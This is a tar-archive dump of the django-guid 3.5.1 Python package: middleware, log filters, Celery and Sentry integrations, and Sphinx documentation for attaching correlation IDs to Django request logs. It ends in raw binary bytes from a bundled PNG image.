default=None) django-guid-3.5.1/django_guid/integrations/000077500000000000000000000000001475141737700207105ustar00rootroot00000000000000django-guid-3.5.1/django_guid/integrations/__init__.py000066400000000000000000000003671475141737700230270ustar00rootroot00000000000000from django_guid.integrations.base import Integration from django_guid.integrations.celery import CeleryIntegration from django_guid.integrations.sentry import SentryIntegration __all__ = ['Integration', 'CeleryIntegration', 'SentryIntegration'] django-guid-3.5.1/django_guid/integrations/base.py000066400000000000000000000016241475141737700221770ustar00rootroot00000000000000from typing import Any, Optional from django.core.exceptions import ImproperlyConfigured class Integration: """ Integration base class. """ identifier: Optional[str] = None # The name of your integration def __init__(self) -> None: if self.identifier is None: raise ImproperlyConfigured('`identifier` cannot be None') def setup(self) -> None: """ Holds validation and setup logic to be run when Django starts. """ pass def run(self, guid: str, **kwargs: Any) -> None: """ Code here is executed in the middleware, before the view is called. """ raise ImproperlyConfigured(f'The integration `{self.identifier}` is missing a `run` method') def cleanup(self, **kwargs: Any) -> None: """ Code here is executed in the middleware, after the view is called. """ pass django-guid-3.5.1/django_guid/integrations/celery/000077500000000000000000000000001475141737700221735ustar00rootroot00000000000000django-guid-3.5.1/django_guid/integrations/celery/__init__.py000066400000000000000000000001531475141737700243030ustar00rootroot00000000000000from django_guid.integrations.celery.integration import CeleryIntegration __all__ = ['CeleryIntegration'] django-guid-3.5.1/django_guid/integrations/celery/config.py000066400000000000000000000030761475141737700240200ustar00rootroot00000000000000# flake8: noqa: D102 from typing import TYPE_CHECKING from django.core.exceptions import ImproperlyConfigured from django_guid.integrations import SentryIntegration if TYPE_CHECKING: from django_guid.integrations.celery import CeleryIntegration # pragma: no cover class CeleryIntegrationSettings: def __init__(self, instance: 'CeleryIntegration') -> None: self.instance = instance self.validate() @property def use_django_logging(self) -> bool: return self.instance.use_django_logging @property def log_parent(self) -> bool: return self.instance.log_parent @property def uuid_length(self) -> int: return self.instance.uuid_length @property def sentry_integration(self) -> bool: return self.instance.sentry_integration def validate(self) -> None: if not isinstance(self.use_django_logging, bool): raise ImproperlyConfigured('The CeleryIntegration use_django_logging setting must be a boolean.') if not isinstance(self.log_parent, bool): raise ImproperlyConfigured('The CeleryIntegration log_parent setting must be a boolean.') if type(self.uuid_length) is not int or not 1 <= self.uuid_length <= 32: raise ImproperlyConfigured('The CeleryIntegration uuid_length setting must be an integer.') if not isinstance(self.sentry_integration, bool): raise ImproperlyConfigured('The CeleryIntegration sentry_integration setting must be a boolean.') if self.sentry_integration: SentryIntegration().setup() django-guid-3.5.1/django_guid/integrations/celery/context.py000066400000000000000000000002621475141737700242310ustar00rootroot00000000000000from contextvars import ContextVar celery_parent: ContextVar = ContextVar('celery_parent', default=None) celery_current: ContextVar = ContextVar('celery_current', default=None) django-guid-3.5.1/django_guid/integrations/celery/integration.py000066400000000000000000000041071475141737700250720ustar00rootroot00000000000000import logging from typing import Any from django_guid.integrations import Integration logger = logging.getLogger('django_guid') class CeleryIntegration(Integration): """ Passes correlation IDs from parent processes to child processes in a Celery context. This means a correlation ID can be transferred from a request to a worker, or from a worker to another worker. For workers executing scheduled tasks, a correlation ID is generated for each new task. """ identifier = 'CeleryIntegration' def __init__( self, use_django_logging: bool = False, log_parent: bool = False, uuid_length: int = 32, sentry_integration: bool = False, ) -> None: """ :param use_django_logging: If true, configures Celery to use the logging settings defined in settings.py :param log_parent: If true, traces the origin of a task. Should be True if you wish to use the CeleryTracing log filter. :param uuid_length: Optionally lets you set the length of the celery IDs generated for the log filter """ super().__init__() self.log_parent = log_parent self.use_django_logging = use_django_logging self.uuid_length = uuid_length self.sentry_integration = sentry_integration def setup(self) -> None: """ Loads Celery signals. """ # Import pre-configured Celery signals that will pass on the correlation ID to a celery worker # or will generate a correlation ID when a worker starts a scheduled task from django_guid.integrations.celery.signals import before_task_publish, task_postrun, task_prerun # noqa if self.use_django_logging: # Import pre-configured Celery signals that makes Celery adopt the settings.py log config from django_guid.integrations.celery.logging import config_loggers # noqa def run(self, guid: str, **kwargs: Any) -> None: """ Does nothing, as all we need for Celery tracing is to register signals during setup. """ pass # pragma: no cover django-guid-3.5.1/django_guid/integrations/celery/log_filters.py000066400000000000000000000016211475141737700250560ustar00rootroot00000000000000from logging import Filter from typing import TYPE_CHECKING from django_guid.integrations.celery.context import celery_current, celery_parent if TYPE_CHECKING: from logging import LogRecord class CeleryTracing(Filter): # noinspection PyTypeHints def filter(self, record: 'LogRecord') -> bool: """ Sets two record attributes: celery parent and celery current. Celery origin is the tracing ID of the process that spawned the current process, and celery current is the current process' tracing ID. In other words, if a worker sent a task to be executed by the worker pool, that celery worker's `current` tracing ID would become the next worker's `origin` tracing ID. """ record.celery_parent_id: str = celery_parent.get() # type: ignore record.celery_current_id: str = celery_current.get() # type: ignore return True django-guid-3.5.1/django_guid/integrations/celery/logging.py000066400000000000000000000005621475141737700241760ustar00rootroot00000000000000from typing import Any from celery.signals import setup_logging @setup_logging.connect def config_loggers(*args: Any, **kwargs: Any) -> None: # pragma: no cover """ Configures celery to use the Django settings.py logging configuration. """ from logging.config import dictConfig from django.conf import settings dictConfig(settings.LOGGING) django-guid-3.5.1/django_guid/integrations/celery/signals.py000066400000000000000000000063031475141737700242070ustar00rootroot00000000000000import logging from typing import TYPE_CHECKING, Any from celery.signals import before_task_publish, task_postrun, task_prerun from django_guid import clear_guid, get_guid, set_guid from django_guid.config import settings from django_guid.integrations.celery.context import celery_current, celery_parent from django_guid.utils import generate_guid if TYPE_CHECKING: from celery import Task logger = logging.getLogger('django_guid.celery') parent_header = 'CELERY_PARENT_ID' def set_transaction_id(guid: str) -> None: """ Sets the Sentry transaction ID if the Celery sentry integration setting is True. """ if settings.integration_settings.celery.sentry_integration: from sentry_sdk import configure_scope with configure_scope() as scope: logger.debug('Setting Sentry transaction_id to %s', guid) scope.set_tag('transaction_id', guid) @before_task_publish.connect def publish_task_from_worker_or_request(headers: dict, **kwargs: Any) -> None: """ Called when a request or celery worker publishes a task to the worker pool by calling task.delay(), task.apply_async() or using another equivalent method. This is where we transfer state from a parent process to a child process. """ guid = get_guid() logger.info('Setting task request header as %s', guid) headers[settings.guid_header_name] = guid if settings.integration_settings.celery.log_parent: current = celery_current.get() if current: headers[parent_header] = current @task_prerun.connect def worker_prerun(task: 'Task', **kwargs: Any) -> None: """ Called before a worker starts executing a task. Here we make sure to set the appropriate correlation ID for all logs logged during the tasks, and on the thread in general. In that regard, this does the Celery equivalent to what the django-guid middleware does for a request. """ guid = task.request.get(settings.guid_header_name) if guid: logger.info('Setting GUID %s', guid) set_guid(guid) set_transaction_id(guid) else: generated_guid = generate_guid(uuid_length=settings.integration_settings.celery.uuid_length) logger.info('Generated GUID %s', generated_guid) set_guid(generated_guid) set_transaction_id(generated_guid) if settings.integration_settings.celery.log_parent: origin = task.request.get(parent_header) if origin: logger.info('Setting parent ID %s', origin) celery_parent.set(origin) generated_current_guid = generate_guid(uuid_length=settings.integration_settings.celery.uuid_length) logger.info('Generated current ID %s', generated_current_guid) celery_current.set(generated_current_guid) @task_postrun.connect def clean_up(task: 'Task', **kwargs: Any) -> None: """ Called after a task is finished. Here we make sure to clean up the IDs we set in the pre-run method, so that the next task executed by the same worker doesn't inherit the same IDs. """ logger.debug('Cleaning up GUIDs') clear_guid() if settings.integration_settings.celery.log_parent: celery_current.set(None) celery_parent.set(None) django-guid-3.5.1/django_guid/integrations/sentry.py000066400000000000000000000026511475141737700226120ustar00rootroot00000000000000import logging from typing import Any from django.core.exceptions import ImproperlyConfigured from django_guid.integrations import Integration logger = logging.getLogger('django_guid') class SentryIntegration(Integration): """ Ensures that each request's correlation ID is passed on to Sentry exception logs as a `transaction_id`. """ identifier = 'SentryIntegration' def setup(self) -> None: """ Verifies that the sentry_sdk dependency is installed. """ # Makes sure the client has installed the `sentry_sdk` package, and that the header is appropriately named. try: import sentry_sdk # noqa: F401 except ModuleNotFoundError: raise ImproperlyConfigured( 'The package `sentry-sdk` is required for extending your tracing IDs to Sentry. ' 'Please run `pip install sentry-sdk` if you wish to include this integration.' ) def run(self, guid: str, **kwargs: Any) -> None: """ Sets the Sentry transaction_id. """ import sentry_sdk if sentry_sdk.VERSION >= '2.0.0': with sentry_sdk.isolation_scope() as scope: scope.set_tag('transaction_id', guid) else: with sentry_sdk.configure_scope() as scope: scope.set_tag('transaction_id', guid) logger.debug(f'Setting Sentry transaction_id to {guid}') django-guid-3.5.1/django_guid/log_filters.py000066400000000000000000000012661475141737700210720ustar00rootroot00000000000000from logging import Filter from typing import TYPE_CHECKING from django_guid.context import guid if TYPE_CHECKING: from logging import LogRecord class CorrelationId(Filter): def __init__(self, correlation_id_field: str = 'correlation_id') -> None: super().__init__() self.correlation_id_field = correlation_id_field def filter(self, record: 'LogRecord') -> bool: """ Add the correlation ID to the log record. :param record: Log record :param correlation_id_field: record field on which the correlation id is set :return: True """ setattr(record, self.correlation_id_field, guid.get()) return True django-guid-3.5.1/django_guid/middleware.py000066400000000000000000000063341475141737700206770ustar00rootroot00000000000000import asyncio import logging from typing import Callable, Union from django.apps import apps from django.core.exceptions import ImproperlyConfigured from django_guid.context import guid from django_guid.utils import get_id_from_header, ignored_url try: from django.utils.decorators import sync_and_async_middleware except ImportError: # pragma: no cover raise ImproperlyConfigured('Please use Django GUID 2.x for Django>=3.1. (`pip install django-guid>3`).') from typing import TYPE_CHECKING from django_guid.config import settings if TYPE_CHECKING: from django.http import HttpRequest, HttpResponse logger = logging.getLogger('django_guid') def process_incoming_request(request: 'HttpRequest') -> None: """ Processes an incoming request. This function is called before the view and later middleware. Same logic for both async and sync views. """ if not ignored_url(request=request): # Process request and store the GUID in a contextvar guid.set(get_id_from_header(request)) # Run all integrations for integration in settings.integrations: logger.debug('Running integration: `%s`', integration.identifier) integration.run(guid=guid.get()) def process_outgoing_request(response: 'HttpResponse', request: 'HttpRequest') -> None: """ Process an outgoing request. This function is called after the view and before later middleware. """ if not ignored_url(request=request): if settings.return_header: response[settings.guid_header_name] = guid.get() # Adds the GUID to the response header if settings.expose_header: response['Access-Control-Expose-Headers'] = settings.guid_header_name # Run tear down for all the integrations for integration in settings.integrations: logger.debug('Running tear down for integration: `%s`', integration.identifier) integration.cleanup() @sync_and_async_middleware def guid_middleware(get_response: Callable) -> Callable: """ Add this middleware to the top of your middlewares. """ # One-time configuration and initialization. if not apps.is_installed('django_guid'): raise ImproperlyConfigured('django_guid must be in installed apps') # fmt: off if asyncio.iscoroutinefunction(get_response): async def middleware(request: 'HttpRequest') -> Union['HttpRequest', 'HttpResponse']: logger.debug('async middleware called') process_incoming_request(request=request) # ^ Code above this line is executed before the view and later middleware response = await get_response(request) process_outgoing_request(response=response, request=request) return response else: def middleware(request: 'HttpRequest') -> Union['HttpRequest', 'HttpResponse']: # type: ignore logger.debug('sync middleware called') process_incoming_request(request=request) # ^ Code above this line is executed before the view and later middleware response = get_response(request) process_outgoing_request(response=response, request=request) return response # fmt: on return middleware django-guid-3.5.1/django_guid/py.typed000066400000000000000000000000001475141737700176670ustar00rootroot00000000000000django-guid-3.5.1/django_guid/signals.py000066400000000000000000000017711475141737700202220ustar00rootroot00000000000000import logging from typing import Any, Optional from django.core.signals import request_finished from django.dispatch import receiver from django_guid.context import guid logger = logging.getLogger('django_guid') @receiver(request_finished) def clear_guid(sender: Optional[dict], **kwargs: Any) -> None: """ Receiver function for when a request finishes. When a request is finished, clear the GUID from the contextvar. This ensures a GUID is never passed down to the next request in sync views. :param sender: The sender of the signal. By documentation, we must allow this input parameter. :param kwargs: The request_finished signal does not actually send any kwargs, but Django will throw an error if we don't accept them. This is because at any point arguments could get added to the signal, and the receiver must be able to handle those new arguments. :return: None """ logger.debug('Received signal `request_finished`, clearing guid') guid.set(None) django-guid-3.5.1/django_guid/utils.py000066400000000000000000000056321475141737700177220ustar00rootroot00000000000000import logging import uuid from typing import TYPE_CHECKING, Optional, Union from django_guid.config import settings if TYPE_CHECKING: from django.http import HttpRequest, HttpResponse logger = logging.getLogger('django_guid') def get_correlation_id_from_header(request: 'HttpRequest') -> str: """ Returns either the provided GUID or a new one depending on if the provided GUID is valid or not. :param request: HttpRequest object :return: GUID """ given_guid: str = str(request.headers.get(settings.guid_header_name)) if not settings.validate_guid: logger.debug('Returning ID from header without validating it as a GUID') return given_guid elif validate_guid(given_guid): logger.debug('%s is a valid GUID', given_guid) return given_guid else: new_guid = generate_guid() if all(letter.isalnum() or letter == '-' for letter in given_guid): logger.warning('%s is not a valid GUID. New GUID is %s', given_guid, new_guid) else: logger.warning('Non-alnum %s provided. New GUID is %s', settings.guid_header_name, new_guid) return new_guid def get_id_from_header(request: 'HttpRequest') -> str: """ Checks if the request contains the header specified in the Django settings. If it does, we fetch the header and attempt to validate the contents as GUID. If no header is found, we generate a GUID to be injected instead. :param request: HttpRequest object :return: GUID """ header: str = request.headers.get(settings.guid_header_name) # Case insensitive headers.get added in Django2.2 if header: logger.info('%s found in the header', settings.guid_header_name) request.correlation_id = get_correlation_id_from_header(request) else: request.correlation_id = generate_guid() logger.info( 'Header `%s` was not found in the incoming request. Generated new GUID: %s', settings.guid_header_name, request.correlation_id, ) return request.correlation_id def ignored_url(request: Union['HttpRequest', 'HttpResponse']) -> bool: """ Checks if the current URL is defined in the `IGNORE_URLS` setting. :return: Boolean """ return request.get_full_path().strip('/') in settings.ignore_urls def generate_guid(uuid_length: Optional[int] = None) -> str: """ Generates an UUIDv4/GUID as a string. :return: GUID """ if settings.uuid_format == 'string': guid = str(uuid.uuid4()) else: guid = uuid.uuid4().hex if uuid_length is None: return guid[: settings.uuid_length] return guid[:uuid_length] def validate_guid(original_guid: str) -> bool: """ Validates a GUID. :param original_guid: string to validate :return: bool """ try: return bool(uuid.UUID(original_guid, version=4).hex) except ValueError: return False django-guid-3.5.1/docker-compose.yml000066400000000000000000000001441475141737700173640ustar00rootroot00000000000000version: '3.7' services: redis: image: redis:latest ports: - '127.0.0.1:6378:6379' django-guid-3.5.1/docs/000077500000000000000000000000001475141737700146605ustar00rootroot00000000000000django-guid-3.5.1/docs/Makefile000066400000000000000000000011721475141737700163210ustar00rootroot00000000000000# Minimal makefile for Sphinx documentation # # You can set these variables from the command line, and also # from the environment for the first two. SPHINXOPTS ?= SPHINXBUILD ?= sphinx-build SOURCEDIR = . BUILDDIR = _build # Put it first so that "make" without argument is like "make help". help: @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) .PHONY: help Makefile # Catch-all target: route all unknown targets to Sphinx using the new # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). %: Makefile @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) django-guid-3.5.1/docs/README_PYPI.rst000066400000000000000000000201331475141737700172070ustar00rootroot00000000000000Django GUID =========== .. image:: https://img.shields.io/pypi/v/django-guid.svg :target: https://pypi.org/pypi/django-guid .. image:: https://img.shields.io/badge/python-3.6+-blue.svg :target: https://pypi.python.org/pypi/django-guid#downloads .. image:: https://img.shields.io/badge/django-2.2%20|%203.0%20|%203.1%20-blue.svg :target: https://pypi.python.org/pypi/django-guid .. image:: https://img.shields.io/badge/ASGI-supported-brightgreen.svg :target: https://img.shields.io/badge/ASGI-supported-brightgreen.svg .. image:: https://img.shields.io/badge/WSGI-supported-brightgreen.svg :target: https://img.shields.io/badge/WSGI-supported-brightgreen.svg .. image:: https://readthedocs.org/projects/django-guid/badge/?version=latest :target: https://django-guid.readthedocs.io/en/latest/?badge=latest .. image:: https://codecov.io/gh/snok/django-guid/branch/master/graph/badge.svg :target: https://codecov.io/gh/snok/django-guid .. image:: https://img.shields.io/badge/code%20style-black-000000.svg :target: https://github.com/psf/black .. image:: https://img.shields.io/badge/pre--commit-enabled-brightgreen?logo=pre-commit&logoColor=white :target: https://github.com/pre-commit/pre-commit -------------- Django GUID attaches a unique correlation ID/request ID to all your log outputs for every request. In other words, all logs connected to a request now has a unique ID attached to it, making debugging simple. Which version of Django GUID you should use depends on your Django version and whether you run ``ASGI`` or ``WSGI`` servers. To determine which Django-GUID version you should use, please see the table below. +---------------------+--------------------------+ | Django version | Django-GUID version | +=====================+==========================+ | 3.1.1 or above | 3.x.x - ASGI and WSGI | +---------------------+--------------------------+ | 3.0.0 - 3.1.0 | 2.x.x - Only WSGI | +---------------------+--------------------------+ | 2.2.x | 2.x.x - Only WSGI | +---------------------+--------------------------+ Django GUID >= 3.0.0 uses ``ContextVar`` to store and access the GUID. Previous versions stored the GUID to an object, making it accessible by using the ID of the current thread. (Version 2 of Django GUID is supported until Django2.2 LTS has passed.) -------------- **Resources**: * Free software: BSD License * Documentation: https://django-guid.readthedocs.io * Homepage: https://github.com/snok/django-guid -------------- **Examples** Log output with a GUID: .. code-block:: INFO ... [773fa6885e03493498077a273d1b7f2d] project.views This is a DRF view log, and should have a GUID. WARNING ... [773fa6885e03493498077a273d1b7f2d] project.services.file Some warning in a function INFO ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.views This is a DRF view log, and should have a GUID. INFO ... [99d44111e9174c5a9494275aa7f28858] project.views This is a DRF view log, and should have a GUID. WARNING ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.services.file Some warning in a function WARNING ... [99d44111e9174c5a9494275aa7f28858] project.services.file Some warning in a function Log output without a GUID: .. code-block:: INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function INFO ... project.views This is a DRF view log, and should have a GUID. INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function WARNING ... project.services.file Some warning in a function See the `documentation `_ for more examples. ************ Installation ************ Install using pip: .. code-block:: bash pip install django-guid ******** Settings ******** Package settings are added in your ``settings.py``: .. code-block:: python DJANGO_GUID = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'RETURN_HEADER': True, 'EXPOSE_HEADER': True, 'INTEGRATIONS': [], 'IGNORE_URLS': [], 'UUID_LENGTH': 32, } **Optional Parameters** * :code:`GUID_HEADER_NAME` The name of the GUID to look for in a header in an incoming request. Remember that it's case insensitive. Default: Correlation-ID * :code:`VALIDATE_GUID` Whether the :code:`GUID_HEADER_NAME` should be validated or not. If the GUID sent to through the header is not a valid GUID (:code:`uuid.uuid4`). Default: True * :code:`RETURN_HEADER` Whether to return the GUID (Correlation-ID) as a header in the response or not. It will have the same name as the :code:`GUID_HEADER_NAME` setting. Default: True * :code:`EXPOSE_HEADER` Whether to return :code:`Access-Control-Expose-Headers` for the GUID header if :code:`RETURN_HEADER` is :code:`True`, has no effect if :code:`RETURN_HEADER` is :code:`False`. This is allows the JavaScript Fetch API to access the header when CORS is enabled. Default: True * :code:`INTEGRATIONS` Whether to enable any custom or available integrations with :code:`django_guid`. As an example, using :code:`SentryIntegration()` as an integration would set Sentry's :code:`transaction_id` to match the GUID used by the middleware. Default: [] * :code:`IGNORE_URLS` URL endpoints where the middleware will be disabled. You can put your health check endpoints here. Default: [] * :code:`UUID_LENGTH` Lets you optionally trim the length of the package generated UUIDs. Default: 32 ************* Configuration ************* Once settings have set up, add the following to your projects' ``settings.py``: 1. Installed Apps ================= Add :code:`django_guid` to your :code:`INSTALLED_APPS`: .. code-block:: python INSTALLED_APPS = [ ... 'django_guid', ] 2. Middleware ============= Add the :code:`django_guid.middleware.guid_middleware` to your ``MIDDLEWARE``: .. code-block:: python MIDDLEWARE = [ 'django_guid.middleware.guid_middleware', ... ] It is recommended that you add the middleware at the top, so that the remaining middleware loggers include the requests GUID. 3. Logging Configuration ======================== Add :code:`django_guid.log_filters.CorrelationId` as a filter in your ``LOGGING`` configuration: .. code-block:: python LOGGING = { ... 'filters': { 'correlation_id': { '()': 'django_guid.log_filters.CorrelationId' } } } Put that filter in your handler: .. code-block:: python LOGGING = { ... 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'medium', 'filters': ['correlation_id'], } } } And make sure to add the new ``correlation_id`` filter to one or all of your formatters: .. code-block:: python LOGGING = { ... 'formatters': { 'medium': { 'format': '%(levelname)s %(asctime)s [%(correlation_id)s] %(name)s %(message)s' } } } If these settings were confusing, please have a look in the demo projects' `settings.py `_ file for a complete example. 4. Django GUID Logger (Optional) ================================ If you wish to see the Django GUID middleware outputs, you may configure a logger for the module. Simply add django_guid to your loggers in the project, like in the example below: .. code-block:: python LOGGING = { ... 'loggers': { 'django_guid': { 'handlers': ['console', 'logstash'], 'level': 'WARNING', 'propagate': False, } } } This is especially useful when implementing the package, if you plan to pass existing GUIDs to the middleware, as misconfigured GUIDs will not raise exceptions, but will generate warning logs. django-guid-3.5.1/docs/api.rst000066400000000000000000000021751475141737700161700ustar00rootroot00000000000000API === Getting started --------------- You can either use the ``contextvar`` directly by importing it with ``django_guid.middleware import guid``, or use the API which also logs changes. If you want to use the contextvar, please see the official Python docs. To use the API import the functions you'd like to use: .. code-block:: python from django_guid import get_guid, set_guid, clear_guid get_guid() ---------- * **Returns**: ``str`` or ``None``, if set by Django-GUID. Fetches the GUID. .. code-block:: python guid = get_guid() set_guid() ---------- * **Parameters**: ``guid``: ``str`` Sets the GUID to the given input. .. code-block:: python set_guid('My GUID') clear_guid() ------------ Clears the guid (sets it to ``None``) .. code-block:: python clear_guid() Example usage ------------- .. code-block:: python import requests from django.conf import settings from django_guid import get_guid requests.get( url='http://localhost/api', headers={ 'Accept': 'application/json', settings.DJANGO_GUID['GUID_HEADER_NAME']: get_guid(), } ) django-guid-3.5.1/docs/changelog.rst000066400000000000000000000000361475141737700173400ustar00rootroot00000000000000.. include:: ../CHANGELOG.rst django-guid-3.5.1/docs/conf.py000066400000000000000000000037331475141737700161650ustar00rootroot00000000000000# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # -- Project information ----------------------------------------------------- project = 'django-guid' copyright = '2020, Jonas Krüger Svensson, Sondre Lillebø Gundersen' author = 'Jonas Krüger Svensson, Sondre Lillebø Gundersen' # -- General configuration --------------------------------------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = ['sphinx_rtd_theme'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # The master toctree document. master_doc = 'index' django-guid-3.5.1/docs/configuration.rst000066400000000000000000000051641475141737700202670ustar00rootroot00000000000000************* Configuration ************* Once django guid has been installed, add the following to your projects' ``settings.py``: 1. Installed Apps ----------------- Add :code:`django_guid` to your :code:`INSTALLED_APPS`: .. code-block:: python INSTALLED_APPS = [ ... 'django_guid', ] 2. Middleware ------------- Add the :code:`django_guid.middleware.guid_middleware` to your ``MIDDLEWARE``: .. code-block:: python MIDDLEWARE = [ 'django_guid.middleware.guid_middleware', ... ] It is recommended that you add the middleware at the top, so that the remaining middleware loggers include the requests GUID. 3. Logging Configuration ------------------------ Add :code:`django_guid.log_filters.CorrelationId` as a filter in your ``LOGGING`` configuration: .. code-block:: python LOGGING = { ... 'filters': { 'correlation_id': { '()': 'django_guid.log_filters.CorrelationId', # You can optionally override the record field name where the guid is stored 'correlation_id_field': 'correlation_id' } } } Put that filter in your handler: .. code-block:: python LOGGING = { ... 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'medium', 'filters': ['correlation_id'], } } } And make sure to add the new ``correlation_id`` filter to one or all of your formatters: .. code-block:: python LOGGING = { ... 'formatters': { 'medium': { 'format': '%(levelname)s %(asctime)s [%(correlation_id)s] %(name)s %(message)s' } } } If these settings were confusing, please have a look in the demo projects' `settings.py `_ file for a complete example. 4. Django GUID Logger (Optional) -------------------------------- If you wish to see the Django GUID middleware outputs, you may configure a logger for the module. Simply add django_guid to your loggers in the project, like in the example below: .. code-block:: python LOGGING = { ... 'loggers': { 'django_guid': { 'handlers': ['console', 'logstash'], 'level': 'WARNING', 'propagate': False, } } } This is especially useful when implementing the package, if you plan to pass existing GUIDs to the middleware, as misconfigured GUIDs will not raise exceptions, but will generate warning logs. django-guid-3.5.1/docs/contributing.rst000066400000000000000000000000411475141737700201140ustar00rootroot00000000000000.. include:: ../CONTRIBUTING.rst django-guid-3.5.1/docs/extended_example.rst000066400000000000000000000103601475141737700207250ustar00rootroot00000000000000.. _extended_example: Extended example ================ Using tools like ``ab`` (`Apache Benchmark `_) we can benchmark our application with concurrent requests, simulating heavy load. This is an easy way to display the strength of ``django-guid``. Experiment ---------- First, we run our application like we would in a production environment: .. code-block:: bash gunicorn demoproj.wsgi:application --bind 127.0.0.1:8080 -k gthread -w 4 Then, we do 3 concurrent requests to one of our endpoints: .. code-block:: bash ab -c 3 -n 3 http://127.0.0.1:8080/api This results in these logs: .. code-block:: bash django-guid git:(master) ✗ gunicorn demoproj.wsgi:application --bind 127.0.0.1:8080 -k gthread -w 4 [2020-01-14 16:36:15 +0100] [8624] [INFO] Starting gunicorn 20.0.4 [2020-01-14 16:36:15 +0100] [8624] [INFO] Listening at: http://127.0.0.1:8080 (8624) [2020-01-14 16:36:15 +0100] [8624] [INFO] Using worker: gthread [2020-01-14 16:36:15 +0100] [8627] [INFO] Booting worker with pid: 8627 [2020-01-14 16:36:15 +0100] [8629] [INFO] Booting worker with pid: 8629 [2020-01-14 16:36:15 +0100] [8630] [INFO] Booting worker with pid: 8630 [2020-01-14 16:36:15 +0100] [8631] [INFO] Booting worker with pid: 8631 # First request INFO 2020-01-14 15:40:48,953 [None] django_guid.middleware No Correlation-ID found in the header. Added Correlation-ID: 773fa6885e03493498077a273d1b7f2d INFO 2020-01-14 15:40:48,954 [773fa6885e03493498077a273d1b7f2d] demoproj.views This is a DRF view log, and should have a GUID. WARNING 2020-01-14 15:40:48,954 [773fa6885e03493498077a273d1b7f2d] demoproj.services.useless_file Some warning in a function DEBUG 2020-01-14 15:40:48,954 [773fa6885e03493498077a273d1b7f2d] django_guid.middleware Deleting 773fa6885e03493498077a273d1b7f2d from _guid # Second and third request arrives at the same time INFO 2020-01-14 15:40:48,955 [None] django_guid.middleware No Correlation-ID found in the header. Added Correlation-ID: 0d1c3919e46e4cd2b2f4ac9a187a8ea1 INFO 2020-01-14 15:40:48,955 [None] django_guid.middleware No Correlation-ID found in the header. Added Correlation-ID: 99d44111e9174c5a9494275aa7f28858 INFO 2020-01-14 15:40:48,955 [0d1c3919e46e4cd2b2f4ac9a187a8ea1] demoproj.views This is a DRF view log, and should have a GUID. INFO 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] demoproj.views This is a DRF view log, and should have a GUID. WARNING 2020-01-14 15:40:48,955 [0d1c3919e46e4cd2b2f4ac9a187a8ea1] demoproj.services.useless_file Some warning in a function WARNING 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] demoproj.services.useless_file Some warning in a function DEBUG 2020-01-14 15:40:48,955 [0d1c3919e46e4cd2b2f4ac9a187a8ea1] django_guid.middleware Deleting 0d1c3919e46e4cd2b2f4ac9a187a8ea1 from _guid DEBUG 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] django_guid.middleware Deleting 99d44111e9174c5a9494275aa7f28858 from _guid If we have a close look, we can see that the first request is completely done before the second and third arrives. How ever, the second and third request arrives at the exact same time, and since ``gunicorn`` is run with multiple workers, they are also handled concurrently. The result is logs that get mixed together, making them impossible to differentiate. Now, depending on how you view your logs you can easily track a single request down. In these docs, try using ``ctrl`` + ``f`` and search for ``99d44111e9174c5a9494275aa7f28858`` If you're logging to a file you could use ``grep``: .. code-block:: bash ➜ ~ cat demoproj/logs.log | grep 99d44111e9174c5a9494275aa7f28858 INFO 2020-01-14 15:40:48,955 [None] django_guid.middleware No Correlation-ID found in the header. Added Correlation-ID: 99d44111e9174c5a9494275aa7f28858 INFO 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] demoproj.views This is a DRF view log, and should have a GUID. WARNING 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] demoproj.services.useless_file Some warning in a function DEBUG 2020-01-14 15:40:48,955 [99d44111e9174c5a9494275aa7f28858] django_guid.middleware Deleting 99d44111e9174c5a9494275aa7f28858 from _guid django-guid-3.5.1/docs/img/000077500000000000000000000000001475141737700154345ustar00rootroot00000000000000django-guid-3.5.1/docs/img/sentry.png000066400000000000000000002406611475141737700174770ustar00rootroot00000000000000PNG  IHDRizsRGBgAMA a pHYsodIDATx^\ދ(X@E$vĂ%v/jEc5-50v,XDDD wmX13;f|)**"K d> ֜IOdRFM]aRFIY <Qߘ )H9?@!RrC )'#sI" fo,EAÛ:6V >G[syŪ7mz{vAxNA!Qo[قfP*m83Lvٸ(zԚ!g]nzleૠid!!MۦQ`7G=x7y>[b3 R!$Cau7EcÐSj˱*Qe~-8Zc;tu<<OPUoIAp[@xh;꧅"'w= }d\V)+Yg'S&!n4 R+F_=A}$G*Fe)+r&:?;1V#0-s ᝲϷϣG)vBU3Q=c =A\}$?s?҇?ؾs 